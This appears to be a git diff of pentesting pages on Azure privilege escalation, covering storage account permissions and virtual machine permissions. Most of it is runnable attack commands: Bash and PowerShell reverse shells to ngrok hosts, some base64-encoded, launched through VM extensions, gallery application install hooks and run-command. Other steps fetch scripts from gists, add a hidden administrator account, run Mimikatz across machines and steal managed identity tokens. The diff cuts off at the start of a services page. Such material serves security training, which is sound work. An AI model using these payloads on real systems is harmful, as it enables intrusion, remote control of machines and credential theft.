### Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action
|
||||
|
||||
With this permission, an attacker can regenerate the password for a local user in an Azure Storage account. This grants the attacker the ability to obtain new authentication credentials (such as an SSH or SFTP password) for the user. By leveraging these credentials, the attacker could gain unauthorized access to the storage account, perform file transfers, or manipulate data within the storage containers. This could result in data leakage, corruption, or malicious modification of the storage account content.
|
||||
|
||||
```bash
|
||||
az storage account local-user regenerate-password \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--resource-group <RESOURCE_GROUP_NAME> \
|
||||
--name <LOCAL_USER_NAME>
|
||||
```
|
||||
|
||||
To access Azure Blob Storage via SFTP using a local user via SFTP you can (you can also use ssh key to connect):
|
||||
|
||||
```bash
|
||||
sftp <local-user-name>@<storage-account-name>.blob.core.windows.net
|
||||
#regenerated-password
|
||||
```
|
||||
|
||||
### Microsoft.Storage/storageAccounts/restoreBlobRanges/action, Microsoft.Storage/storageAccounts/blobServices/containers/read, Microsoft.Storage/storageAccounts/read && Microsoft.Storage/storageAccounts/listKeys/action
|
||||
|
||||
With this permissions an attacker can restore a deleted container by specifying its deleted version ID or undelete specific blobs within a container, if they were previously soft-deleted. This privilege escalation could allow an attacker to recover sensitive data that was meant to be permanently deleted, potentially leading to unauthorized access.
|
||||
|
||||
```bash
|
||||
#Restore the soft deleted container
|
||||
az storage container restore \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--name <CONTAINER_NAME> \
|
||||
--deleted-version <VERSION>
|
||||
|
||||
#Restore the soft deleted blob
|
||||
az storage blob undelete \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--container-name <CONTAINER_NAME> \
|
||||
--name "fileName.txt"
|
||||
```
|
||||
|
||||
### Microsoft.Storage/storageAccounts/fileServices/shares/restore/action && Microsoft.Storage/storageAccounts/read
|
||||
|
||||
With these permissions, an attacker can restore a deleted Azure file share by specifying its deleted version ID. This privilege escalation could allow an attacker to recover sensitive data that was meant to be permanently deleted, potentially leading to unauthorized access.
|
||||
|
||||
```bash
|
||||
az storage share-rm restore \
|
||||
--storage-account <STORAGE_ACCOUNT_NAME> \
|
||||
--name <FILE_SHARE_NAME> \
|
||||
--deleted-version <VERSION>
|
||||
```
|
||||
|
||||
## Other interesting looking permissions (TODO)
|
||||
|
||||
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/manageOwnership/action: Changes ownership of the blob
|
||||
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/modifyPermissions/action: Modifies permissions of the blob
|
||||
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/runAsSuperUser/action: Returns the result of the blob command
|
||||
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/immutableStorage/runAsSuperUser/action
|
||||
|
||||
## References
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/storage#microsoftstorage](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/storage#microsoftstorage)
|
||||
- [https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support](https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+382
@@ -0,0 +1,382 @@
|
||||
# Az - Virtual Machines & Network Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## VMS & Network
|
||||
|
||||
For more info about Azure Virtual Machines and Network check:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/vms/
|
||||
{{#endref}}
|
||||
|
||||
### **`Microsoft.Compute/virtualMachines/extensions/write`**
|
||||
|
||||
This permission allows to execute extensions in virtual machines which allow to **execute arbitrary code on them**.\
|
||||
Example abusing custom extensions to execute arbitrary commands in a VM:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Linux" }}
|
||||
|
||||
- Execute a revers shell
|
||||
|
||||
```bash
|
||||
# Prepare the rev shell
|
||||
echo -n 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
|
||||
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==
|
||||
|
||||
# Execute rev shell
|
||||
az vm extension set \
|
||||
--resource-group <rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScript \
|
||||
--publisher Microsoft.Azure.Extensions \
|
||||
--version 2.1 \
|
||||
--settings '{}' \
|
||||
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
|
||||
```
|
||||
|
||||
- Execute a script located on the internet
|
||||
|
||||
```bash
|
||||
az vm extension set \
|
||||
--resource-group rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScript \
|
||||
--publisher Microsoft.Azure.Extensions \
|
||||
--version 2.1 \
|
||||
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
|
||||
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Windows" }}
|
||||
|
||||
- Execute a reverse shell
|
||||
|
||||
```bash
|
||||
# Get encoded reverse shell
|
||||
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
|
||||
|
||||
# Execute it
|
||||
az vm extension set \
|
||||
--resource-group <rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScriptExtension \
|
||||
--publisher Microsoft.Compute \
|
||||
--version 1.10 \
|
||||
--settings '{}' \
|
||||
--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}'
|
||||
|
||||
```
|
||||
|
||||
- Execute reverse shell from file
|
||||
|
||||
```bash
|
||||
az vm extension set \
|
||||
--resource-group <rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScriptExtension \
|
||||
--publisher Microsoft.Compute \
|
||||
--version 1.10 \
|
||||
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \
|
||||
--protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}'
|
||||
```
|
||||
|
||||
You could also execute other payloads like: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
|
||||
|
||||
- Reset password using the VMAccess extension
|
||||
|
||||
```powershell
|
||||
# Run VMAccess extension to reset the password
|
||||
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
|
||||
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
It's also possible to abuse well-known extensions to execute code or perform privileged actions inside the VMs:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>VMAccess extension</summary>
|
||||
|
||||
This extension allows to modify the password (or create if it doesn't exist) of users inside Windows VMs.
|
||||
|
||||
```powershell
|
||||
# Run VMAccess extension to reset the password
|
||||
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
|
||||
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>DesiredConfigurationState (DSC)</summary>
|
||||
|
||||
This is a **VM extensio**n that belongs to Microsoft that uses PowerShell DSC to manage the configuration of Azure Windows VMs. Therefore, it can be used to **execute arbitrary commands** in Windows VMs through this extension:
|
||||
|
||||
```powershell
|
||||
# Content of revShell.ps1
|
||||
Configuration RevShellConfig {
|
||||
Node localhost {
|
||||
Script ReverseShell {
|
||||
GetScript = { @{} }
|
||||
SetScript = {
|
||||
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
|
||||
$stream = $client.GetStream();
|
||||
[byte[]]$bytes = 0..65535|%{0};
|
||||
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
|
||||
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
|
||||
$sendback = (iex $data 2>&1 | Out-String );
|
||||
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
|
||||
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
|
||||
$stream.Write($sendbyte, 0, $sendbyte.Length)
|
||||
}
|
||||
$client.Close()
|
||||
}
|
||||
TestScript = { return $false }
|
||||
}
|
||||
}
|
||||
}
|
||||
RevShellConfig -OutputPath .\Output
|
||||
|
||||
# Upload config to blob
|
||||
$resourceGroup = 'dscVmDemo'
|
||||
$storageName = 'demostorage'
|
||||
Publish-AzVMDscConfiguration `
|
||||
-ConfigurationPath .\revShell.ps1 `
|
||||
-ResourceGroupName $resourceGroup `
|
||||
-StorageAccountName $storageName `
|
||||
-Force
|
||||
|
||||
# Apply DSC to VM and execute rev shell
|
||||
$vmName = 'myVM'
|
||||
Set-AzVMDscExtension `
|
||||
-Version '2.76' `
|
||||
-ResourceGroupName $resourceGroup `
|
||||
-VMName $vmName `
|
||||
-ArchiveStorageAccountName $storageName `
|
||||
-ArchiveBlobName 'revShell.ps1.zip' `
|
||||
-AutoUpdate `
|
||||
-ConfigurationName 'RevShellConfig'
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Hybrid Runbook Worker</summary>
|
||||
|
||||
This is a VM extension that would allow to execute runbooks in VMs from an automation account. For more information check the [Automation Accounts service](../az-services/az-automation-account/).
|
||||
|
||||
</details>
|
||||
|
||||
### `Microsoft.Compute/disks/write, Microsoft.Network/networkInterfaces/join/action, Microsoft.Compute/virtualMachines/write, (Microsoft.Compute/galleries/applications/write, Microsoft.Compute/galleries/applications/versions/write)`
|
||||
|
||||
These are the required permissions to **create a new gallery application and execute it inside a VM**. Gallery applications can execute anything so an attacker could abuse this to compromise VM instances executing arbitrary commands.
|
||||
|
||||
The last 2 permissions might be avoided by sharing the application with the tenant.
|
||||
|
||||
Exploitation example to execute arbitrary commands:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Linux" }}
|
||||
|
||||
```bash
|
||||
# Create gallery (if the isn't any)
|
||||
az sig create --resource-group myResourceGroup \
|
||||
--gallery-name myGallery --location "West US 2"
|
||||
|
||||
# Create application container
|
||||
az sig gallery-application create \
|
||||
--application-name myReverseShellApp \
|
||||
--gallery-name myGallery \
|
||||
--resource-group <rsc-group> \
|
||||
--os-type Linux \
|
||||
--location "West US 2"
|
||||
|
||||
# Create app version with the rev shell
|
||||
## In Package file link just add any link to a blobl storage file
|
||||
az sig gallery-application version create \
|
||||
--version-name 1.0.2 \
|
||||
--application-name myReverseShellApp \
|
||||
--gallery-name myGallery \
|
||||
--location "West US 2" \
|
||||
--resource-group <rsc-group> \
|
||||
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
|
||||
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
|
||||
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
|
||||
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"
|
||||
|
||||
# Install the app in a VM to execute the rev shell
|
||||
## Use the ID given in the previous output
|
||||
az vm application set \
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name> \
|
||||
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
|
||||
--treat-deployment-as-failure true
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Windows" }}
|
||||
|
||||
```bash
|
||||
# Create gallery (if the isn't any)
|
||||
az sig create --resource-group <rsc-group> \
|
||||
--gallery-name myGallery --location "West US 2"
|
||||
|
||||
# Create application container
|
||||
az sig gallery-application create \
|
||||
--application-name myReverseShellAppWin \
|
||||
--gallery-name myGallery \
|
||||
--resource-group <rsc-group> \
|
||||
--os-type Windows \
|
||||
--location "West US 2"
|
||||
|
||||
# Get encoded reverse shell
|
||||
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
|
||||
|
||||
# Create app version with the rev shell
|
||||
## In Package file link just add any link to a blobl storage file
|
||||
export encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
|
||||
az sig gallery-application version create \
|
||||
--version-name 1.0.0 \
|
||||
--application-name myReverseShellAppWin \
|
||||
--gallery-name myGallery \
|
||||
--location "West US 2" \
|
||||
--resource-group <rsc-group> \
|
||||
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
|
||||
--install-command "powershell.exe -EncodedCommand $encodedCommand" \
|
||||
--remove-command "powershell.exe -EncodedCommand $encodedCommand" \
|
||||
--update-command "powershell.exe -EncodedCommand $encodedCommand"
|
||||
|
||||
# Install the app in a VM to execute the rev shell
|
||||
## Use the ID given in the previous output
|
||||
az vm application set \
|
||||
--resource-group <rsc-group> \
|
||||
--name deleteme-win4 \
|
||||
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellAppWin/versions/1.0.0 \
|
||||
--treat-deployment-as-failure true
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### `Microsoft.Compute/virtualMachines/runCommand/action`
|
||||
|
||||
This is the most basic mechanism Azure provides to **execute arbitrary commands in VMs:**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Linux" }}
|
||||
|
||||
```bash
|
||||
# Execute rev shell
|
||||
az vm run-command invoke \
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name> \
|
||||
--command-id RunShellScript \
|
||||
--scripts @revshell.sh
|
||||
|
||||
# revshell.sh file content
|
||||
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Windows" }}
|
||||
|
||||
```bash
|
||||
# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
|
||||
# Execute a rev shell
|
||||
az vm run-command invoke \
|
||||
--resource-group Research \
|
||||
--name juastavm \
|
||||
--command-id RunPowerShellScript \
|
||||
--scripts @revshell.ps1
|
||||
|
||||
## Get encoded reverse shell
|
||||
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
|
||||
|
||||
## Create app version with the rev shell
|
||||
## In Package file link just add any link to a blobl storage file
|
||||
export encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
|
||||
|
||||
# The content of
|
||||
echo "powershell.exe -EncodedCommand $encodedCommand" > revshell.ps1
|
||||
|
||||
|
||||
# Try to run in every machine
|
||||
Import-module MicroBurst.psm1
|
||||
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### `Microsoft.Compute/virtualMachines/login/action`
|
||||
|
||||
This permission allows a user to **login as user into a VM via SSH or RDP** (as long as Entra ID authentication is enabled in the VM).
|
||||
|
||||
Login via **SSH** with **`az ssh vm --name <vm-name> --resource-group <rsc-group>`** and via **RDP** with your **regular Azure credentials**.
|
||||
|
||||
### `Microsoft.Compute/virtualMachines/loginAsAdmin/action`
|
||||
|
||||
This permission allows a user to **login as user into a VM via SSH or RDP** (as long as Entra ID authentication is enabled in the VM).
|
||||
|
||||
Login via **SSH** with **`az ssh vm --name <vm-name> --resource-group <rsc-group>`** and via **RDP** with your **regular Azure credentials**.
|
||||
|
||||
## `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
All those are the necessary permissions to **create a VM with a specific managed identity** and leaving a **port open** (22 in this case). This allows a user to create a VM and connect to it and **steal managed identity tokens** to escalate privileges to it.
|
||||
|
||||
Depending on the situation more or less permissions might be needed to abuse this technique.
|
||||
|
||||
```bash
|
||||
az vm create \
|
||||
--resource-group Resource_Group_1 \
|
||||
--name cli_vm \
|
||||
--image Ubuntu2204 \
|
||||
--admin-username azureuser \
|
||||
--generate-ssh-keys \
|
||||
--assign-identity /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourcegroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity \
|
||||
--nsg-rule ssh \
|
||||
--location "centralus"
|
||||
# By default pub key from ~/.ssh is used (if none, it's generated there)
|
||||
```
|
||||
|
||||
### `Microsoft.Compute/virtualMachines/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Those permissions are enough to **assign new managed identities to a VM**. Note that a VM can have several managed identities. It can have the **system assigned one**, and **many user managed identities**.\
|
||||
Then, from the metadata service it's possible to generate tokens for each one.
|
||||
|
||||
```bash
|
||||
# Get currently assigned managed identities to the VM
|
||||
az vm identity show \
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name>
|
||||
|
||||
# Assign several managed identities to a VM
|
||||
az vm identity assign \
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name> \
|
||||
--identities \
|
||||
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \
|
||||
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2
|
||||
```
|
||||
|
||||
Then the attacker needs to have **compromised somehow the VM** to steal tokens from the assigned managed identities. Check **more info in**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm
|
||||
{{#endref}}
|
||||
|
||||
### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action
|
||||
|
||||
According to the [**docs**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), this permission lets you manage the OS of your resource via Windows Admin Center as an administrator. So it looks like this gives access to the WAC to control the VMs...
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,73 @@
|
||||
# Az - Services
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Portals
|
||||
|
||||
You can find the list of **Microsoft portals in** [**https://msportals.io/**](https://msportals.io/)
|
||||
|
||||
### Raw requests
|
||||
|
||||
#### Azure API via Powershell
|
||||
|
||||
Get **access_token** from **IDENTITY_HEADER** and **IDENTITY_ENDPOINT**: `system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');`.
|
||||
|
||||
Then query the Azure REST API to get the **subscription ID** and more .
|
||||
|
||||
```powershell
|
||||
$Token = 'eyJ0eX..'
|
||||
$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
|
||||
# $URI = 'https://graph.microsoft.com/v1.0/applications'
|
||||
$RequestParams = @{
|
||||
Method = 'GET'
|
||||
Uri = $URI
|
